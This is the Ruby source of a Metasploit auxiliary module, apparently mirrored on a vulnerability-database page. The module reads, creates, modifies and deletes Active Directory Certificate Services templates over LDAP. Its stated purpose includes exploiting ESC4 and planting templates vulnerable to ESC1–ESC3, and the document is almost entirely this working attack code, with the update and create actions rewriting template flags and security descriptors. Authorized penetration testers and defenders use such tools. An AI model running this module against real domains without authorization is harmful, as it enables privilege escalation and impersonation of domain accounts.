`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::LDAP
include Msf::OptionalSession::LDAP
include Msf::Auxiliary::Report
IGNORED_ATTRIBUTES = [
'dn',
'distinguishedName',
'objectClass',
'cn',
'whenCreated',
'whenChanged',
'name',
'objectGUID',
'objectCategory',
'dSCorePropagationData',
'msPKI-Cert-Template-OID',
'uSNCreated',
'uSNChanged',
'displayName',
'instanceType',
'revision',
'msPKI-Template-Schema-Version',
'msPKI-Template-Minor-Revision',
].freeze
# LDAP_SERVER_SD_FLAGS constant definition, taken from https://ldapwiki.com/wiki/LDAP_SERVER_SD_FLAGS_OID
LDAP_SERVER_SD_FLAGS_OID = '1.2.840.113556.1.4.801'.freeze
OWNER_SECURITY_INFORMATION = 0x1
GROUP_SECURITY_INFORMATION = 0x2
DACL_SECURITY_INFORMATION = 0x4
SACL_SECURITY_INFORMATION = 0x8
def initialize(info = {})
super(
update_info(
info,
'Name' => 'AD CS Certificate Template Management',
'Description' => %q{
This module can create, read, update, and delete AD CS certificate templates from a Active Directory Domain
Controller.
The READ, UPDATE, and DELETE actions will write a copy of the certificate template to disk that can be
restored using the CREATE or UPDATE actions. The CREATE and UPDATE actions require a certificate template data
file to be specified to define the attributes. Template data files are provided to create a template that is
vulnerable to ESC1, ESC2, and ESC3.
This module is capable of exploiting ESC4.
},
'Author' => [
'Will Schroeder', # original idea/research
'Lee Christensen', # original idea/research
'Oliver Lyak', # certipy implementation
'Spencer McIntyre'
],
'References' => [
[ 'URL', 'https://github.com/GhostPack/Certify' ],
[ 'URL', 'https://github.com/ly4k/Certipy' ]
],
'License' => MSF_LICENSE,
'Actions' => [
['CREATE', { 'Description' => 'Create the certificate template' }],
['READ', { 'Description' => 'Read the certificate template' }],
['UPDATE', { 'Description' => 'Modify the certificate template' }],
['DELETE', { 'Description' => 'Delete the certificate template' }]
],
'DefaultAction' => 'READ',
'Notes' => {
'Stability' => [],
'SideEffects' => [CONFIG_CHANGES],
'Reliability' => [],
'AKA' => [ 'Certifry', 'Certipy' ]
}
)
)
register_options([
OptString.new('BASE_DN', [false, 'LDAP base DN if you already have it']),
OptString.new('CERT_TEMPLATE', [ true, 'The remote certificate template name', 'User' ]),
OptPath.new('TEMPLATE_FILE', [ false, 'Local template definition file', File.join(::Msf::Config.data_directory, 'auxiliary', 'admin', 'ldap', 'ad_cs_cert_template', 'esc1_template.yaml') ])
])
end
def ldap_get(filter, attributes: [], base: nil, controls: [])
base ||= @base_dn
raw_obj = @ldap.search(base: base, filter: filter, attributes: attributes, controls: controls).first
validate_query_result!(@ldap.get_operation_result.table)
return nil unless raw_obj
obj = {}
raw_obj.attribute_names.each do |attr|
obj[attr.to_s] = raw_obj[attr].map(&:to_s)
end
obj
end
def run
ldap_connect do |ldap|
validate_bind_success!(ldap)
if (@base_dn = datastore['BASE_DN'])
print_status("User-specified base DN: #{@base_dn}")
else
print_status('Discovering base DN automatically')
unless (@base_dn = ldap.base_dn)
fail_with(Failure::NotFound, "Couldn't discover base DN!")
end
end
@ldap = ldap
send("action_#{action.name.downcase}")
print_good('The operation completed successfully!')
end
rescue Errno::ECONNRESET
fail_with(Failure::Disconnected, 'The connection was reset.')
rescue Rex::ConnectionError => e
fail_with(Failure::Unreachable, e.message)
rescue Rex::Proto::Kerberos::Model::Error::KerberosError => e
fail_with(Failure::NoAccess, e.message)
rescue Net::LDAP::Error => e
fail_with(Failure::Unknown, "#{e.class}: #{e.message}")
end
def get_certificate_template
obj = ldap_get(
"(&(cn=#{datastore['CERT_TEMPLATE']})(objectClass=pKICertificateTemplate))",
base: "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,#{@base_dn}",
controls: [ms_security_descriptor_control(DACL_SECURITY_INFORMATION)]
)
fail_with(Failure::NotFound, 'The specified template was not found.') unless obj
print_good("Read certificate template data for: #{obj['dn'].first}")
stored = store_loot(
'windows.ad.cs.template',
'application/json',
rhost,
dump_to_json(obj),
"#{datastore['CERT_TEMPLATE'].downcase.gsub(' ', '_')}_template.json",
"#{datastore['CERT_TEMPLATE']} Certificate Template"
)
print_status("Certificate template data written to: #{stored}")
obj
end
def get_domain_sid
return @domain_sid if @domain_sid.present?
obj = ldap_get('(objectClass=domain)', attributes: %w[name objectSID])
fail_with(Failure::NotFound, 'The domain SID was not found!') unless obj&.fetch('objectsid', nil)
Rex::Proto::MsDtyp::MsDtypSid.read(obj['objectsid'].first)
end
def get_pki_oids
return @pki_oids if @pki_oids.present?
raw_objs = @ldap.search(
base: "CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,#{@base_dn}",
filter: '(objectClass=msPKI-Enterprise-OID)'
)
validate_query_result!(@ldap.get_operation_result.table)
return nil unless raw_objs
@pki_oids = []
raw_objs.each do |raw_obj|
obj = {}
raw_obj.attribute_names.each do |attr|
obj[attr.to_s] = raw_obj[attr].map(&:to_s)
end
@pki_oids << obj
end
@pki_oids
end
def get_pki_oid_displayname(oid)
oid_obj = get_pki_oids.find { |o| o['mspki-cert-template-oid'].first == oid }
return nil unless oid_obj && oid_obj['displayname'].present?
oid_obj['displayname'].first
end
def dump_to_json(template)
json = {}
template.each do |attribute, values|
next if IGNORED_ATTRIBUTES.any? { |word| word.casecmp?(attribute) }
json[attribute] = values.map do |value|
value.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join
end
end
json.to_json
end
def load_from_json(json)
template = {}
JSON.parse(json).each do |attribute, values|
next if IGNORED_ATTRIBUTES.any? { |word| word.casecmp?(attribute) }
template[attribute] = values.map do |value|
value.scan(/../).map { |x| x.hex.chr }.join
end
end
template
end
def load_from_yaml(yaml)
template = {}
YAML.safe_load(yaml).each do |attribute, value|
next if IGNORED_ATTRIBUTES.any? { |word| word.casecmp?(attribute) }
if attribute.casecmp?('nTSecurityDescriptor')
unless value.is_a?(String)
fail_with(Failure::BadConfig, 'The local template file specified an invalid nTSecurityDescriptor.')
end
# if the string only contains printable characters, treat it as SDDL
if value !~ /[^[:print:]]/
begin
vprint_status("Parsing SDDL text: #{value}")
descriptor = Rex::Proto::MsDtyp::MsDtypSecurityDescriptor.from_sddl_text(value, domain_sid: get_domain_sid)
rescue RuntimeError => e
fail_with(Failure::BadConfig, e.message)
end
value = descriptor.to_binary_s
elsif !value.start_with?("\x01".b)
fail_with(Failure::BadConfig, 'The local template file specified an invalid nTSecurityDescriptor.')
end
end
value = [ value ] unless value.is_a?(Array)
template[attribute] = value.map(&:to_s)
end
template
end
def load_local_template
if datastore['TEMPLATE_FILE'].blank?
fail_with(Failure::BadConfig, 'No local template file was specified in TEMPLATE_FILE.')
end
unless File.readable?(datastore['TEMPLATE_FILE']) && File.file?(datastore['TEMPLATE_FILE'])
fail_with(Failure::BadConfig, 'TEMPLATE_FILE must be a readable file.')
end
file_data = File.read(datastore['TEMPLATE_FILE'])
if datastore['TEMPLATE_FILE'].downcase.end_with?('.json')
load_from_json(file_data)
elsif datastore['TEMPLATE_FILE'].downcase.end_with?('.yaml') || datastore['TEMPLATE_FILE'].downcase.end_with?('.yml')
load_from_yaml(file_data)
else
fail_with(Failure::BadConfig, 'TEMPLATE_FILE must be a JSON or YAML file.')
end
end
def ms_security_descriptor_control(flags)
control_values = [flags].map(&:to_ber).to_ber_sequence.to_s.to_ber
[LDAP_SERVER_SD_FLAGS_OID.to_ber, control_values].to_ber_sequence
end
def action_create
dn = "CN=#{datastore['CERT_TEMPLATE']},"
dn << 'CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,'
dn << @base_dn
# defaults to create one from the builtin SubCA template
# the nTSecurityDescriptor and objectGUID fields will be set automatically so they can be omitted
attributes = {
'objectclass' => ['top', 'pKICertificateTemplate'],
'cn' => datastore['CERT_TEMPLATE'],
'instancetype' => '4',
'displayname' => datastore['CERT_TEMPLATE'],
'usncreated' => '16437',
'usnchanged' => '16437',
'showinadvancedviewonly' => 'TRUE',
'name' => datastore['CERT_TEMPLATE'],
'flags' => '66257',
'revision' => '5',
'objectcategory' => "CN=PKI-Certificate-Template,CN=Schema,CN=Configuration,#{@base_dn}",
'pkidefaultkeyspec' => '2',
'pkikeyusage' => "\x86\x00".b,
'pkimaxissuingdepth' => '-1',
'pkicriticalextensions' => ['2.5.29.15', '2.5.29.19'],
'pkiexpirationperiod' => "\x00@\x1E\xA4\xE8e\xFA\xFF".b,
'pkioverlapperiod' => "\x00\x80\xA6\n\xFF\xDE\xFF\xFF".b,
'pkidefaultcsps' => '1,Microsoft Enhanced Cryptographic Provider v1.0',
'dscorepropagationdata' => '16010101000000.0Z',
'mspki-ra-signature' => '0',
'mspki-enrollment-flag' => '0',
'mspki-private-key-flag' => '16',
'mspki-certificate-name-flag' => '1',
'mspki-minimal-key-size' => '2048',
'mspki-template-schema-version' => '1',
'mspki-template-minor-revision' => '1',
'mspki-cert-template-oid' => '1.3.6.1.4.1.311.21.8.9238385.12403672.2312086.11590436.9092015.147.1.18'
}
unless datastore['TEMPLATE_FILE'].blank?
load_local_template.each do |key, value|
key = key.downcase
next if %w[dn distinguishedname objectguid].include?(key)
attributes[key.downcase] = value
end
end
# can not contain dn, distinguishedname, or objectguid
print_status("Creating: #{dn}")
@ldap.add(dn: dn, attributes: attributes)
validate_query_result!(@ldap.get_operation_result.table)
end
def action_delete
obj = get_certificate_template
@ldap.delete(dn: obj['dn'].first)
validate_query_result!(@ldap.get_operation_result.table)
end
def action_read
obj = get_certificate_template
print_status('Certificate Template:')
print_status(" distinguishedName: #{obj['distinguishedname'].first}")
print_status(" displayName: #{obj['displayname'].first}") if obj['displayname'].present?
if obj['objectguid'].first.present?
object_guid = Rex::Proto::MsDtyp::MsDtypGuid.read(obj['objectguid'].first)
print_status(" objectGUID: #{object_guid}")
end
pki_flag = obj['mspki-certificate-name-flag']&.first
if pki_flag.present?
pki_flag = [obj['mspki-certificate-name-flag'].first.to_i].pack('l').unpack1('L')
print_status(" msPKI-Certificate-Name-Flag: 0x#{pki_flag.to_s(16).rjust(8, '0')}")
%w[
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT_ALT_NAME
CT_FLAG_SUBJECT_ALT_REQUIRE_DOMAIN_DNS
CT_FLAG_SUBJECT_ALT_REQUIRE_SPN
CT_FLAG_SUBJECT_ALT_REQUIRE_DIRECTORY_GUID
CT_FLAG_SUBJECT_ALT_REQUIRE_UPN
CT_FLAG_SUBJECT_ALT_REQUIRE_EMAIL
CT_FLAG_SUBJECT_ALT_REQUIRE_DNS
CT_FLAG_SUBJECT_REQUIRE_DNS_AS_CN
CT_FLAG_SUBJECT_REQUIRE_EMAIL
CT_FLAG_SUBJECT_REQUIRE_COMMON_NAME
CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATH
CT_FLAG_OLD_CERT_SUPPLIES_SUBJECT_AND_ALT_NAME
].each do |flag_name|
if pki_flag & Rex::Proto::MsCrtd.const_get(flag_name) != 0
print_status(" * #{flag_name}")
end
end
end
pki_flag = obj['mspki-enrollment-flag']&.first
if pki_flag.present?
pki_flag = [obj['mspki-enrollment-flag'].first.to_i].pack('l').unpack1('L')
print_status(" msPKI-Enrollment-Flag: 0x#{pki_flag.to_s(16).rjust(8, '0')}")
%w[
CT_FLAG_INCLUDE_SYMMETRIC_ALGORITHMS
CT_FLAG_PEND_ALL_REQUESTS
CT_FLAG_PUBLISH_TO_KRA_CONTAINER
CT_FLAG_PUBLISH_TO_DS
CT_FLAG_AUTO_ENROLLMENT_CHECK_USER_DS_CERTIFICATE
CT_FLAG_AUTO_ENROLLMENT
CT_FLAG_PREVIOUS_APPROVAL_VALIDATE_REENROLLMENT
CT_FLAG_USER_INTERACTION_REQUIRED
CT_FLAG_REMOVE_INVALID_CERTIFICATE_FROM_PERSONAL_STORE
CT_FLAG_ALLOW_ENROLL_ON_BEHALF_OF
CT_FLAG_ADD_OCSP_NOCHECK
CT_FLAG_ENABLE_KEY_REUSE_ON_NT_TOKEN_KEYSET_STORAGE_FULL
CT_FLAG_NOREVOCATIONINFOINISSUEDCERTS
CT_FLAG_INCLUDE_BASIC_CONSTRAINTS_FOR_EE_CERTS
CT_FLAG_ALLOW_PREVIOUS_APPROVAL_KEYBASEDRENEWAL_VALIDATE_REENROLLMENT
CT_FLAG_ISSUANCE_POLICIES_FROM_REQUEST
CT_FLAG_SKIP_AUTO_RENEWAL
].each do |flag_name|
if pki_flag & Rex::Proto::MsCrtd.const_get(flag_name) != 0
print_status(" * #{flag_name}")
end
end
end
pki_flag = obj['mspki-private-key-flag']&.first
if pki_flag.present?
pki_flag = [obj['mspki-private-key-flag'].first.to_i].pack('l').unpack1('L')
print_status(" msPKI-Private-Key-Flag: 0x#{pki_flag.to_s(16).rjust(8, '0')}")
%w[
CT_FLAG_REQUIRE_PRIVATE_KEY_ARCHIVAL
CT_FLAG_EXPORTABLE_KEY
CT_FLAG_STRONG_KEY_PROTECTION_REQUIRED
CT_FLAG_REQUIRE_ALTERNATE_SIGNATURE_ALGORITHM
CT_FLAG_REQUIRE_SAME_KEY_RENEWAL
CT_FLAG_USE_LEGACY_PROVIDER
CT_FLAG_ATTEST_NONE
CT_FLAG_ATTEST_REQUIRED
CT_FLAG_ATTEST_PREFERRED
CT_FLAG_ATTESTATION_WITHOUT_POLICY
CT_FLAG_EK_TRUST_ON_USE
CT_FLAG_EK_VALIDATE_CERT
CT_FLAG_EK_VALIDATE_KEY
CT_FLAG_HELLO_LOGON_KEY
].each do |flag_name|
if pki_flag & Rex::Proto::MsCrtd.const_get(flag_name) != 0
print_status(" * #{flag_name}")
end
end
end
pki_flag = obj['mspki-ra-signature']&.first
if pki_flag.present?
pki_flag = [pki_flag.to_i].pack('l').unpack1('L')
print_status(" msPKI-RA-Signature: 0x#{pki_flag.to_s(16).rjust(8, '0')}")
end
if obj['mspki-certificate-policy'].present?
if obj['mspki-certificate-policy'].length == 1
if (oid_name = get_pki_oid_displayname(obj['mspki-certificate-policy'].first)).present?
print_status(" msPKI-Certificate-Policy: #{obj['mspki-certificate-policy'].first} (#{oid_name})")
else
print_status(" msPKI-Certificate-Policy: #{obj['mspki-certificate-policy'].first}")
end
else
print_status(' msPKI-Certificate-Policy:')
obj['mspki-certificate-policy'].each do |value|
if (oid_name = get_pki_oid_displayname(value)).present?
print_status(" * #{value} (#{oid_name})")
else
print_status(" * #{value}")
end
end
end
end
if obj['mspki-template-schema-version'].present?
print_status(" msPKI-Template-Schema-Version: #{obj['mspki-template-schema-version'].first.to_i}")
end
pki_flag = obj['pkikeyusage']&.first
if pki_flag.present?
pki_flag = [pki_flag.to_i].pack('l').unpack1('L')
print_status(" pKIKeyUsage: 0x#{pki_flag.to_s(16).rjust(8, '0')}")
end
if obj['pkiextendedkeyusage'].present?
print_status(' pKIExtendedKeyUsage:')
obj['pkiextendedkeyusage'].each do |value|
if (oid = Rex::Proto::CryptoAsn1::OIDs.value(value)) && oid.label.present?
print_status(" * #{value} (#{oid.label})")
else
print_status(" * #{value}")
end
end
end
if obj['pkimaxissuingdepth'].present?
print_status(" pKIMaxIssuingDepth: #{obj['pkimaxissuingdepth'].first.to_i}")
end
end
def action_update
obj = get_certificate_template
new_configuration = load_local_template
operations = []
obj.each do |attribute, value|
next if IGNORED_ATTRIBUTES.any? { |word| word.casecmp?(attribute) }
if new_configuration.keys.any? { |word| word.casecmp?(attribute) }
new_value = new_configuration.find { |k, _| k.casecmp?(attribute) }.last
unless value.tally == new_value.tally
operations << [:replace, attribute, new_value]
end
else
operations << [:delete, attribute, nil]
end
end
new_configuration.each_key do |attribute|
next if IGNORED_ATTRIBUTES.any? { |word| word.casecmp?(attribute) }
next if obj.keys.any? { |i| i.casecmp?(attribute) }
operations << [:add, attribute, new_configuration[attribute]]
end
if operations.empty?
print_good('There are no changes to be made.')
return
end
@ldap.modify(dn: obj['dn'].first, operations: operations, controls: [ms_security_descriptor_control(DACL_SECURITY_INFORMATION)])
validate_query_result!(@ldap.get_operation_result.table)
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation